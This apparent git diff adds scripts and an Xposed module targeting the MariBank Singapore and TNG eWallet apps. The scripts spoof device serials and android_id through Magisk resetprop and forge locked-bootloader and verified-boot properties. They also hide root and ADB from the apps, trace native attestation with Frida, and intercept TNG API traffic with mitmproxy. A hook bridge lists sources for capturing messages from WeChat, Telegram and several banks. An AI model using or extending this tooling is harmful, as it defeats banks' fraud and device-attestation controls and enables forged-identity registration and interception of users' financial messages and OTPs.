if ($CaptureLog -or $DumpLog) {
|
||||
if ($CaptureLog) {
|
||||
Write-Host ""
|
||||
Write-Host "=== logcat cleared; tap Next then press Enter ===" -ForegroundColor Cyan
|
||||
& $adb logcat -c
|
||||
Write-Host "Tap Next on phone, then press Enter..."
|
||||
Read-Host | Out-Null
|
||||
} else {
|
||||
Write-Host ""
|
||||
Write-Host "=== dump current logcat (no clear) ===" -ForegroundColor Cyan
|
||||
}
|
||||
Write-Host ""
|
||||
Write-Host "--- register / dfp / attestation ---" -ForegroundColor Cyan
|
||||
$lines = & $adb logcat -d | Select-String "MariBankCapture|MariBankRegister|MariBankEncrypt|MariBankAttest|MariBankDfp|MariBankNative|MariBankRoot HTTP|ProbeGuard|3100012|4067012|OTP_SMS|register summary|dfp/v1|code=0|Gson REGISTRATION|uapi/v2/register|attestation hooks|native-core"
|
||||
if ($lines) {
|
||||
$lines
|
||||
} else {
|
||||
Write-Host "(no matches)" -ForegroundColor Yellow
|
||||
Write-Host "Likely: Enter pressed before Next, or register API not sent yet."
|
||||
Write-Host "You are on phone screen? Tap Next, wait for loading, then run:"
|
||||
Write-Host " .\scripts\maribank-sg-register.ps1 -DumpLog -KeepAdb"
|
||||
}
|
||||
} else {
|
||||
Write-Host "`nLog after Next:" -ForegroundColor Cyan
|
||||
Write-Host " .\scripts\maribank-sg-register.ps1 -CaptureLog -KeepAdb"
|
||||
Write-Host " .\scripts\maribank-sg-register.ps1 -DumpLog -KeepAdb # no clear, dump now"
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Doc: docs/MariBank新加坡突破.md" -ForegroundColor Green
|
||||
121
scripts/maribank-spoof-device.ps1
Normal file
121
scripts/maribank-spoof-device.ps1
Normal file
@@ -0,0 +1,121 @@
|
||||
# MariBank device spoof — Magisk resetprop + optional module install
|
||||
# Usage:
|
||||
# .\scripts\maribank-spoof-device.ps1 # apply resetprop once via adb su
|
||||
# .\scripts\maribank-spoof-device.ps1 -InstallModule # zip & push Magisk module
|
||||
# .\scripts\maribank-spoof-device.ps1 -NewIdentity # regenerate serial/android_id files on device
|
||||
# .\scripts\maribank-spoof-device.ps1 -ClearMariBank # pm clear MariBank after spoof
|
||||
param(
|
||||
[switch]$InstallModule,
|
||||
[switch]$NewIdentity,
|
||||
[switch]$ClearMariBank,
|
||||
[string]$DeviceSerial = ""
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
|
||||
$adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
$ModuleDir = Join-Path $PSScriptRoot "magisk\maribank-device-spoof"
|
||||
$Pkg = "sg.com.maribankmobile.digitalbank"
|
||||
|
||||
if (-not (Test-Path $adb)) {
|
||||
Write-Host "adb not found: $adb" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
function Invoke-AdbShell($cmd) {
|
||||
& $adb shell "su -c '$cmd'" 2>&1
|
||||
}
|
||||
|
||||
function Test-Magisk {
|
||||
$m = Invoke-AdbShell "command -v resetprop 2>/dev/null || ls /data/adb/magisk/magisk 2>/dev/null"
|
||||
return ($LASTEXITCODE -eq 0 -and "$m" -match "resetprop|magisk")
|
||||
}
|
||||
|
||||
Write-Host "=== MariBank Device Spoof (方案 B: Magisk resetprop) ===" -ForegroundColor Cyan
|
||||
& $adb devices -l
|
||||
|
||||
if (-not (Test-Magisk)) {
|
||||
Write-Host "Magisk/resetprop not found on device. Install Magisk first." -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
if ($InstallModule) {
|
||||
$zipPath = Join-Path $env:TEMP "maribank-device-spoof.zip"
|
||||
if (Test-Path $zipPath) { Remove-Item $zipPath -Force }
|
||||
# Use tar (Windows 10+) for Unix paths; Magisk needs post-fs-data.sh at zip root
|
||||
Push-Location $ModuleDir
|
||||
tar -a -cf $zipPath module.prop post-fs-data.sh service.sh
|
||||
Pop-Location
|
||||
Write-Host "Pushing module to /sdcard/Download/ ..."
|
||||
& $adb push $zipPath /sdcard/Download/maribank-device-spoof.zip
|
||||
Write-Host @"
|
||||
|
||||
Module zip pushed. On phone:
|
||||
1. Magisk -> Modules -> Install from storage -> maribank-device-spoof.zip
|
||||
2. Reboot
|
||||
3. Enable Shamiko (see below)
|
||||
|
||||
"@ -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
if ($NewIdentity) {
|
||||
Write-Host "Removing saved identity (module will regenerate on next boot) ..."
|
||||
Invoke-AdbShell "rm -f /data/adb/modules/maribank_device_spoof/serial.txt /data/adb/modules/maribank_device_spoof/android_id.txt"
|
||||
}
|
||||
|
||||
if ($DeviceSerial -eq "") {
|
||||
$DeviceSerial = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object { [char]$_ })
|
||||
}
|
||||
$AndroidId = -join ((48..57) + (97..102) | Get-Random -Count 16 | ForEach-Object { [char]$_ })
|
||||
|
||||
Write-Host "Applying one-shot resetprop (serial=$DeviceSerial android_id=$AndroidId) ..."
|
||||
|
||||
$props = @(
|
||||
"resetprop ro.serialno $DeviceSerial",
|
||||
"resetprop ro.boot.serialno $DeviceSerial",
|
||||
"resetprop persist.sys.serialno $DeviceSerial",
|
||||
"resetprop ro.debuggable 0",
|
||||
"resetprop ro.secure 1",
|
||||
"resetprop ro.build.tags release-keys",
|
||||
"resetprop ro.boot.verifiedbootstate green",
|
||||
"resetprop ro.boot.flash.locked 1",
|
||||
"resetprop ro.boot.vbmeta.device_state locked",
|
||||
"resetprop ro.boot.veritymode enforcing",
|
||||
"resetprop init.svc.adbd stopped",
|
||||
"resetprop persist.sys.adb_enable 0"
|
||||
)
|
||||
foreach ($p in $props) {
|
||||
Invoke-AdbShell $p | Out-Null
|
||||
}
|
||||
Invoke-AdbShell "settings put secure android_id $AndroidId" | Out-Null
|
||||
|
||||
Write-Host "Verify:" -ForegroundColor Green
|
||||
Invoke-AdbShell "getprop ro.serialno; getprop ro.boot.serialno; settings get secure android_id"
|
||||
|
||||
if ($ClearMariBank) {
|
||||
Write-Host "Clearing MariBank app data ..."
|
||||
Invoke-AdbShell "pm clear $Pkg"
|
||||
Write-Host "MariBank data cleared. Cold start Sign up again." -ForegroundColor Green
|
||||
}
|
||||
|
||||
Write-Host @"
|
||||
|
||||
--- Shamiko checklist (required for scheme B) ---
|
||||
1. Magisk -> Settings -> Configure DenyList -> enable DenyList
|
||||
2. DenyList -> add $Pkg (all sub-processes)
|
||||
3. Install Shamiko module (Magisk repo / GitHub releases)
|
||||
4. Magisk -> Settings -> hide Magisk app (optional)
|
||||
5. LSPosed: keep module scoped to MariBank; soft reboot MariBank after spoof
|
||||
6. Turn OFF USB debugging before testing register (or rely on Xposed adb bypass)
|
||||
|
||||
To install persistent module:
|
||||
.\scripts\maribank-spoof-device.ps1 -InstallModule
|
||||
|
||||
To force new identity on next boot:
|
||||
.\scripts\maribank-spoof-device.ps1 -NewIdentity -InstallModule
|
||||
(then reboot)
|
||||
|
||||
Log on device: /cache/maribank_device_spoof.log
|
||||
|
||||
"@ -ForegroundColor Cyan
|
||||
59
scripts/organize-reverse.ps1
Normal file
59
scripts/organize-reverse.ps1
Normal file
@@ -0,0 +1,59 @@
|
||||
# One-time / repeatable layout for reverse/ workspace
|
||||
$ErrorActionPreference = "Stop"
|
||||
$Reverse = Join-Path (Split-Path -Parent $PSScriptRoot) "reverse"
|
||||
|
||||
$dirs = @(
|
||||
"scripts", "output", "logs", "logs\frida", "tmp"
|
||||
)
|
||||
foreach ($d in $dirs) {
|
||||
New-Item -ItemType Directory -Force -Path (Join-Path $Reverse $d) | Out-Null
|
||||
}
|
||||
|
||||
# Python scripts at reverse root -> scripts/
|
||||
Get-ChildItem (Join-Path $Reverse "*.py") -File -ErrorAction SilentlyContinue | ForEach-Object {
|
||||
Move-Item -Force $_.FullName (Join-Path $Reverse "scripts\$($_.Name)")
|
||||
}
|
||||
|
||||
# Dump outputs
|
||||
@("native_bridge2.txt", "native_bridge_dump.txt", "phone_vm_dump.txt", "crypto_scan.txt") | ForEach-Object {
|
||||
$src = Join-Path $Reverse $_
|
||||
if (Test-Path $src) { Move-Item -Force $src (Join-Path $Reverse "output\$_") }
|
||||
}
|
||||
|
||||
# Logs
|
||||
$log = Join-Path $Reverse "maribank_crash.log"
|
||||
if (Test-Path $log) { Move-Item -Force $log (Join-Path $Reverse "logs\maribank_crash.log") }
|
||||
|
||||
$fridaDir = Join-Path $Reverse "frida"
|
||||
@("*.log", "*.log.err", "logcat_capture.txt", "spawn_runner.out", "trace_runner.out", "trace_runner.err", "spawn_runner.err") | ForEach-Object {
|
||||
Get-ChildItem (Join-Path $fridaDir $_) -File -ErrorAction SilentlyContinue | ForEach-Object {
|
||||
$dest = Join-Path $Reverse "logs\frida\$($_.Name)"
|
||||
try {
|
||||
Move-Item -Force $_.FullName $dest -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Warning "skip locked file: $($_.FullName)"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Temp dex
|
||||
Get-ChildItem (Join-Path $Reverse "*.dex") -File -ErrorAction SilentlyContinue | ForEach-Object {
|
||||
Move-Item -Force $_.FullName (Join-Path $Reverse "tmp\$($_.Name)")
|
||||
}
|
||||
|
||||
# APK archive at root
|
||||
$zip = Join-Path $Reverse "seabank.zip"
|
||||
if (Test-Path $zip) { Move-Item -Force $zip (Join-Path $Reverse "apks\seabank.zip") }
|
||||
|
||||
# Unpacked APK under extracted/
|
||||
$apkExtract = Join-Path $Reverse "apk_extract"
|
||||
if (Test-Path $apkExtract) {
|
||||
$dest = Join-Path $Reverse "extracted\apk_extract"
|
||||
if (Test-Path $dest) {
|
||||
Write-Warning "extracted/apk_extract already exists; leaving reverse/apk_extract in place"
|
||||
} else {
|
||||
Move-Item -Force $apkExtract $dest
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "reverse/ layout done."
|
||||
32
scripts/pull-tng-apk.ps1
Normal file
32
scripts/pull-tng-apk.ps1
Normal file
@@ -0,0 +1,32 @@
|
||||
# 从已安装 TNG 的手机 pull 完整 split APK,供另一台 adb install-multiple
|
||||
$ErrorActionPreference = "Stop"
|
||||
$adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
$pkg = "my.com.tngdigital.ewallet"
|
||||
$outDir = Join-Path (Split-Path -Parent $PSScriptRoot) "reverse\dumps\tng_splits"
|
||||
|
||||
$paths = & $adb shell pm path $pkg 2>$null
|
||||
if (-not $paths) {
|
||||
Write-Host "设备未安装 $pkg" -ForegroundColor Red
|
||||
Write-Host "请先在已装 TNG 的手机(如 Pixel 6)上 USB 调试连接。"
|
||||
exit 1
|
||||
}
|
||||
|
||||
New-Item -ItemType Directory -Force -Path $outDir | Out-Null
|
||||
Remove-Item "$outDir\*.apk" -Force -ErrorAction SilentlyContinue
|
||||
|
||||
$i = 0
|
||||
foreach ($line in $paths) {
|
||||
if ($line -match "package:(.+)") {
|
||||
$remote = $Matches[1].Trim()
|
||||
$name = Split-Path $remote -Leaf
|
||||
if ($name -eq "base.apk") { $local = Join-Path $outDir "base.apk" }
|
||||
else { $local = Join-Path $outDir $name }
|
||||
Write-Host "Pull $remote -> $local"
|
||||
& $adb pull $remote $local
|
||||
$i++
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "`n已 pull $i 个 APK 到 $outDir" -ForegroundColor Green
|
||||
Write-Host "安装到另一台手机:"
|
||||
Write-Host " adb install-multiple -r $outDir\*.apk"
|
||||
4
scripts/pull-tng-log.sh
Normal file
4
scripts/pull-tng-log.sh
Normal file
@@ -0,0 +1,4 @@
|
||||
#!/system/bin/sh
|
||||
logcat -d > /data/local/tmp/tnglog.txt
|
||||
grep -E '7500|exited cleanly|Process my.com.tngdigital|TngRoot|UserLogin|FATAL|Abort message|tombstone|blocked syscall|has died' /data/local/tmp/tnglog.txt | tail -120 > /data/local/tmp/tnglog2.txt
|
||||
wc -l /data/local/tmp/tnglog2.txt
|
||||
48
scripts/run-frida-sg-native.ps1
Normal file
48
scripts/run-frida-sg-native.ps1
Normal file
@@ -0,0 +1,48 @@
|
||||
# MariBank SG Frida native attestation trace
|
||||
# Usage:
|
||||
# .\scripts\run-frida-sg-native.ps1
|
||||
# .\scripts\run-frida-sg-native.ps1 -Spawn
|
||||
param(
|
||||
[switch]$Attach,
|
||||
[switch]$SkipLsposedHint
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
$FridaDir = Join-Path $ProjectRoot "reverse\frida"
|
||||
$Py312 = "C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe"
|
||||
$Adb = Join-Path $env:LOCALAPPDATA "Android\Sdk\platform-tools\adb.exe"
|
||||
if (-not (Test-Path $Adb)) {
|
||||
$Adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
}
|
||||
|
||||
Write-Host "=== MariBank SG Frida Native Trace ===" -ForegroundColor Cyan
|
||||
Write-Host "Package: sg.com.maribankmobile.digitalbank"
|
||||
Write-Host "Script: reverse\frida\trace_maribank_sg_native.js"
|
||||
Write-Host ""
|
||||
|
||||
if (-not $SkipLsposedHint) {
|
||||
Write-Host "[Required before trace]" -ForegroundColor Yellow
|
||||
Write-Host " 1. LSPosed -> KEEP scope ENABLED for sg.com.maribankmobile.digitalbank"
|
||||
Write-Host " (module bypasses ADB page; disabling scope shows ADB Detected screen)"
|
||||
Write-Host " 2. Soft reboot SG app (force-stop then reopen)"
|
||||
Write-Host " 3. frida-server running: .\scripts\install-frida.ps1 -StartServer"
|
||||
Write-Host ""
|
||||
Read-Host "Done? Press Enter to continue" | Out-Null
|
||||
}
|
||||
|
||||
& $Adb devices
|
||||
& $Adb shell "su -c 'pgrep frida-server || /data/local/tmp/frida-server -D &'" 2>&1 | Out-Null
|
||||
Start-Sleep -Seconds 1
|
||||
|
||||
if (-not (Test-Path $Py312)) {
|
||||
Write-Host "Python 3.12 not found at $Py312" -ForegroundColor Red
|
||||
Write-Host "Run: .\scripts\install-frida.ps1"
|
||||
exit 1
|
||||
}
|
||||
|
||||
$mode = if ($Attach) { "attach" } else { "spawn" }
|
||||
Write-Host "Mode: $mode (default spawn — open Sign up after app starts)" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
& $Py312 (Join-Path $FridaDir "run_frida_sg_native.py") $mode
|
||||
18
scripts/start-debug-server.ps1
Normal file
18
scripts/start-debug-server.ps1
Normal file
@@ -0,0 +1,18 @@
|
||||
# 启动 PC 调试转发服务
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
$Server = Join-Path $ProjectRoot "debug-server\server.py"
|
||||
|
||||
$sdk = "C:\Users\Administrator\AppData\Local\Android\Sdk"
|
||||
$adb = Join-Path $sdk "platform-tools\adb.exe"
|
||||
if (Test-Path $adb) {
|
||||
Write-Host "Setting adb reverse tcp:8765 ..."
|
||||
& $adb reverse tcp:8765 tcp:8765 2>$null
|
||||
}
|
||||
|
||||
Write-Host "Starting debug server on http://127.0.0.1:8765"
|
||||
if (Get-Command py -ErrorAction SilentlyContinue) {
|
||||
py -3 $Server
|
||||
} else {
|
||||
python $Server
|
||||
}
|
||||
26
scripts/start-mari-trace.ps1
Normal file
26
scripts/start-mari-trace.ps1
Normal file
@@ -0,0 +1,26 @@
|
||||
# 启动 MariBank Frida attach trace + logcat
|
||||
$ErrorActionPreference = "Stop"
|
||||
$Root = Split-Path -Parent (Split-Path -Parent $PSScriptRoot)
|
||||
$FridaDir = Join-Path $Root "reverse\frida"
|
||||
$Adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
$Py = "C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe"
|
||||
|
||||
Write-Host "1. 请先在手机上打开 MariBank (Sign up 页面)" -ForegroundColor Yellow
|
||||
Write-Host "2. 建议暂时关闭 LSPosed 对 MariBank 作用域" -ForegroundColor Yellow
|
||||
Read-Host "准备好后按 Enter 继续"
|
||||
|
||||
& $Adb shell "su -c 'pgrep frida-server || /data/local/tmp/frida-server -D &'" 2>$null | Out-Null
|
||||
Start-Sleep 1
|
||||
|
||||
$logcatOut = Join-Path $Root "reverse\logs\frida\logcat_capture.txt"
|
||||
New-Item -ItemType Directory -Force -Path (Split-Path $logcatOut) | Out-Null
|
||||
Start-Process -FilePath $Adb -ArgumentList @(
|
||||
"logcat","-c"
|
||||
) -Wait -NoNewWindow
|
||||
Start-Process -FilePath $Adb -ArgumentList @(
|
||||
"logcat","-s","notiMessageHook/MariBankRoot:V","MB-TRACE:V","CharacterCryptoManager:V","NativeEncrypt:V"
|
||||
) -RedirectStandardOutput $logcatOut -WindowStyle Hidden
|
||||
|
||||
Write-Host "logcat -> $logcatOut" -ForegroundColor Cyan
|
||||
Write-Host "Frida attach 启动中..." -ForegroundColor Cyan
|
||||
& $Py (Join-Path $FridaDir "run_frida_trace.py") attach
|
||||
41
scripts/start-tng-mitm.ps1
Normal file
41
scripts/start-tng-mitm.ps1
Normal file
@@ -0,0 +1,41 @@
|
||||
# 启动 mitmproxy 抓 TNG Money Packet API(需先: pip install mitmproxy)
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
$Addon = Join-Path $ProjectRoot "debug-server\tng_mmp_mitm_addon.py"
|
||||
|
||||
function Get-LanIp {
|
||||
$ip = Get-NetIPAddress -AddressFamily IPv4 |
|
||||
Where-Object { $_.IPAddress -notlike "127.*" -and $_.InterfaceAlias -notlike "*Loopback*" } |
|
||||
Select-Object -First 1 -ExpandProperty IPAddress
|
||||
if ($ip) { return $ip }
|
||||
return "127.0.0.1"
|
||||
}
|
||||
|
||||
$mitm = Get-Command mitmweb -ErrorAction SilentlyContinue
|
||||
if (-not $mitm) {
|
||||
$mitm = Get-Command mitmdump -ErrorAction SilentlyContinue
|
||||
}
|
||||
if (-not $mitm) {
|
||||
Write-Host "未找到 mitmproxy。请先安装:" -ForegroundColor Yellow
|
||||
Write-Host " pip install mitmproxy" -ForegroundColor Cyan
|
||||
exit 1
|
||||
}
|
||||
|
||||
$pcIp = Get-LanIp
|
||||
Write-Host ""
|
||||
Write-Host "=== TNG Money Packet 抓包 ===" -ForegroundColor Cyan
|
||||
Write-Host "1. 手机与 PC 同一 WiFi" -ForegroundColor White
|
||||
Write-Host "2. 手机 WiFi 代理: 手动 $pcIp 端口 8888" -ForegroundColor Green
|
||||
Write-Host "3. 手机浏览器打开 http://mitm.it 安装证书 (Android)" -ForegroundColor White
|
||||
Write-Host "4. TNG 登录 -> 进群 -> 打开红包 Leaderboard" -ForegroundColor White
|
||||
Write-Host "5. 命中响应保存到 reverse/dumps/mitm_mmp/" -ForegroundColor White
|
||||
Write-Host ""
|
||||
Write-Host "若 TNG 报网络错误,可能是证书 pinning,见 docs 说明。" -ForegroundColor Yellow
|
||||
Write-Host ""
|
||||
|
||||
if ($mitm.Name -eq "mitmweb") {
|
||||
Write-Host "Web UI: http://127.0.0.1:8081" -ForegroundColor Cyan
|
||||
& mitmweb -s $Addon -p 8888 --web-host 127.0.0.1
|
||||
} else {
|
||||
& mitmdump -s $Addon -p 8888
|
||||
}
|
||||
20
scripts/test-tng-full-flow.ps1
Normal file
20
scripts/test-tng-full-flow.ps1
Normal file
@@ -0,0 +1,20 @@
|
||||
# TNG eWallet 全流程自动化:注册/登录 → 点区号 → 国家列表
|
||||
# 依赖:adb、设备已 Root + LSPosed + notiMessage xposed-module 已勾选 TNG
|
||||
$ErrorActionPreference = "Stop"
|
||||
$Root = Split-Path -Parent $PSScriptRoot
|
||||
Set-Location $Root
|
||||
|
||||
Write-Host "== build xposed-module ==" -ForegroundColor Cyan
|
||||
& .\gradlew :xposed-module:assembleDebug
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
Write-Host "== install ==" -ForegroundColor Cyan
|
||||
adb install -r xposed-module\build\outputs\apk\debug\xposed-module-debug.apk
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
adb shell am force-stop my.com.tngdigital.ewallet
|
||||
Start-Sleep -Seconds 3
|
||||
|
||||
Write-Host "== full flow test ==" -ForegroundColor Cyan
|
||||
python reverse/scripts/test_tng_full_flow.py
|
||||
exit $LASTEXITCODE
|
||||
16
scripts/test-tng-survive.sh
Normal file
16
scripts/test-tng-survive.sh
Normal file
@@ -0,0 +1,16 @@
|
||||
#!/system/bin/sh
|
||||
logcat -c
|
||||
am force-stop my.com.tngdigital.ewallet
|
||||
sleep 1
|
||||
monkey -p my.com.tngdigital.ewallet -c android.intent.category.LAUNCHER 1 >/dev/null 2>&1
|
||||
sleep 2
|
||||
echo "=== @2s ==="; ps -A | grep -i tng || echo NONE
|
||||
sleep 5
|
||||
echo "=== @7s ==="; ps -A | grep -i tng || echo NONE
|
||||
sleep 8
|
||||
echo "=== @15s ==="; ps -A | grep -i tng || echo NONE
|
||||
logcat -d > /data/local/tmp/tngfull.txt
|
||||
echo "=== guard ==="
|
||||
grep TngExitGuard /data/local/tmp/tngfull.txt | tail -30
|
||||
echo "=== outcome ==="
|
||||
grep -E 'exited cleanly|exited due|has died|skipped SIGILL|blocked kill|blocked tgkill|UserLogin|Displayed|PLT blocked' /data/local/tmp/tngfull.txt | tail -30
|
||||
51
scripts/tng-bypass-finish.ps1
Normal file
51
scripts/tng-bypass-finish.ps1
Normal file
@@ -0,0 +1,51 @@
|
||||
# TNG eWallet bypass: install xposed + LSPosed scope + optional clear app data
|
||||
param(
|
||||
[switch]$ClearTng,
|
||||
[switch]$SkipBuild
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
Set-Location $ProjectRoot
|
||||
|
||||
$sdk = "C:\Users\Administrator\AppData\Local\Android\Sdk"
|
||||
$adb = Join-Path $sdk "platform-tools\adb.exe"
|
||||
if (-not (Test-Path $adb)) { $adb = "adb" }
|
||||
|
||||
if (-not $SkipBuild) {
|
||||
& "$ProjectRoot\scripts\build-debug.ps1"
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
}
|
||||
|
||||
$xposedApk = Join-Path $ProjectRoot "xposed-module\build\outputs\apk\debug\xposed-module-debug.apk"
|
||||
Write-Host "=== Install Xposed module ===" -ForegroundColor Cyan
|
||||
& $adb install -r -t -g $xposedApk
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
& $adb install -r -t -g --bypass-low-target-sdk-block $xposedApk
|
||||
}
|
||||
|
||||
Write-Host "=== Configure LSPosed scope (incl. TNG) ===" -ForegroundColor Cyan
|
||||
$apkPath = (& $adb shell pm path com.miraclegarden.smsmessage.xposed) -replace '^package:', ''
|
||||
$apkPath = $apkPath.Trim()
|
||||
& $adb shell "su -c 'cp /data/adb/lspd/config/modules_config.db /sdcard/Download/modules_config.db; rm -f /data/adb/lspd/config/modules_config.db-wal /data/adb/lspd/config/modules_config.db-shm'"
|
||||
$db = Join-Path $env:TEMP "modules_config_tng_finish.db"
|
||||
& $adb pull /sdcard/Download/modules_config.db $db
|
||||
python "$ProjectRoot\scripts\configure-lsposed.py" $db $apkPath
|
||||
& $adb push $db /sdcard/Download/modules_config.db
|
||||
& $adb shell "su -c 'cp /sdcard/Download/modules_config.db /data/adb/lspd/config/modules_config.db; rm -f /data/adb/lspd/config/modules_config.db-wal /data/adb/lspd/config/modules_config.db-shm; chmod 660 /data/adb/lspd/config/modules_config.db'"
|
||||
|
||||
Write-Host "=== Phone checklist ===" -ForegroundColor Yellow
|
||||
Write-Host " 1. TNG must NOT be in Magisk DenyList (DenyList blocks Vector/LSPosed injection)"
|
||||
Write-Host " 2. MariBank/Seabank may stay on DenyList; Shamiko + ProcMaps hook hide root for them"
|
||||
Write-Host " 3. LSPosed: notiMessage Xposed enabled, scope includes my.com.tngdigital.ewallet"
|
||||
Write-Host " 4. LSPosed soft reboot / zygote restart after scope update"
|
||||
Write-Host " 5. Disable USB debugging before test (recommended)"
|
||||
|
||||
if ($ClearTng) {
|
||||
Write-Host "=== Clear TNG data ===" -ForegroundColor Cyan
|
||||
& $adb shell "su -c 'pm clear my.com.tngdigital.ewallet'"
|
||||
}
|
||||
|
||||
& $adb shell "am force-stop my.com.tngdigital.ewallet"
|
||||
Write-Host ""
|
||||
Write-Host "Done. Launch TNG eWallet, then run: .\scripts\logcat-tng.ps1" -ForegroundColor Green
|
||||
@@ -10,6 +10,7 @@ pluginManagement {
|
||||
maven { url 'https://maven.aliyun.com/nexus/content/repositories/jcenter' }
|
||||
maven { url 'https://maven.aliyun.com/nexus/content/repositories/google' }
|
||||
maven { url 'https://maven.aliyun.com/nexus/content/repositories/gradle-plugin' }
|
||||
maven { url 'https://api.xposed.info/' }
|
||||
}
|
||||
}
|
||||
dependencyResolutionManagement {
|
||||
@@ -24,8 +25,10 @@ dependencyResolutionManagement {
|
||||
maven { url 'https://maven.aliyun.com/nexus/content/repositories/jcenter' }
|
||||
maven { url 'https://maven.aliyun.com/nexus/content/repositories/google' }
|
||||
maven { url 'https://maven.aliyun.com/nexus/content/repositories/gradle-plugin' }
|
||||
maven { url 'https://api.xposed.info/' }
|
||||
}
|
||||
}
|
||||
rootProject.name = "SmsMessage"
|
||||
include ':app'
|
||||
include ':library'
|
||||
include ':xposed-module'
|
||||
|
||||
37
xposed-module/build.gradle
Normal file
37
xposed-module/build.gradle
Normal file
@@ -0,0 +1,37 @@
|
||||
plugins {
|
||||
id 'com.android.application'
|
||||
}
|
||||
|
||||
android {
|
||||
namespace 'com.miraclegarden.smsmessage.xposed'
|
||||
compileSdk 34
|
||||
|
||||
defaultConfig {
|
||||
applicationId "com.miraclegarden.smsmessage.xposed"
|
||||
minSdk 24
|
||||
targetSdk 34
|
||||
versionCode 2
|
||||
versionName "1.1.0"
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
minifyEnabled false
|
||||
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
|
||||
}
|
||||
}
|
||||
|
||||
compileOptions {
|
||||
sourceCompatibility JavaVersion.VERSION_17
|
||||
targetCompatibility JavaVersion.VERSION_17
|
||||
}
|
||||
|
||||
lint {
|
||||
abortOnError false
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
compileOnly 'de.robv.android.xposed:api:82'
|
||||
compileOnly 'de.robv.android.xposed:api:82:sources'
|
||||
}
|
||||
1
xposed-module/proguard-rules.pro
vendored
Normal file
1
xposed-module/proguard-rules.pro
vendored
Normal file
@@ -0,0 +1 @@
|
||||
-keep class com.miraclegarden.smsmessage.xposed.** { *; }
|
||||
22
xposed-module/src/main/AndroidManifest.xml
Normal file
22
xposed-module/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
|
||||
<application
|
||||
android:allowBackup="false"
|
||||
android:label="@string/module_name">
|
||||
|
||||
<meta-data
|
||||
android:name="xposedmodule"
|
||||
android:value="true" />
|
||||
<meta-data
|
||||
android:name="xposeddescription"
|
||||
android:value="@string/xposed_description" />
|
||||
<meta-data
|
||||
android:name="xposedminversion"
|
||||
android:value="82" />
|
||||
<meta-data
|
||||
android:name="xposedscope"
|
||||
android:resource="@array/xposed_scope" />
|
||||
</application>
|
||||
|
||||
</manifest>
|
||||
1
xposed-module/src/main/assets/xposed_init
Normal file
1
xposed-module/src/main/assets/xposed_init
Normal file
@@ -0,0 +1 @@
|
||||
com.miraclegarden.smsmessage.xposed.MainHook
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.miraclegarden.smsmessage.xposed;
|
||||
|
||||
public final class HookBridge {
|
||||
|
||||
public static final String TARGET_APP_PACKAGE = "com.miraclegarden.smsmessage";
|
||||
public static final String ACTION_HOOK_MESSAGE = "com.miraclegarden.smsmessage.action.HOOK_MESSAGE";
|
||||
public static final String EXTRA_PACKAGE_NAME = "packageName";
|
||||
public static final String EXTRA_TITLE = "title";
|
||||
public static final String EXTRA_CONTENT = "content";
|
||||
public static final String EXTRA_TIMESTAMP = "timestamp";
|
||||
public static final String EXTRA_SOURCE = "source";
|
||||
public static final String SOURCE_XPOSED_SQLITE = "xposed_sqlite";
|
||||
public static final String SOURCE_XPOSED_WECHAT = "xposed_wechat";
|
||||
public static final String SOURCE_XPOSED_TELEGRAM = "xposed_telegram";
|
||||
public static final String SOURCE_XPOSED_UP = "xposed_up";
|
||||
public static final String SOURCE_XPOSED_UP_NOTIFY = "xposed_up_notify";
|
||||
public static final String SOURCE_XPOSED_SUNCORP = "xposed_suncorp";
|
||||
public static final String SOURCE_XPOSED_SUNCORP_NOTIFY = "xposed_suncorp_notify";
|
||||
public static final String SOURCE_XPOSED_UBANK = "xposed_ubank";
|
||||
public static final String SOURCE_XPOSED_UBANK_NOTIFY = "xposed_ubank_notify";
|
||||
public static final String SOURCE_XPOSED_TNG_MMP = "xposed_tng_mmp";
|
||||
|
||||
private HookBridge() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package com.miraclegarden.smsmessage.xposed;
|
||||
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.text.TextUtils;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
|
||||
public final class HookForwarder {
|
||||
|
||||
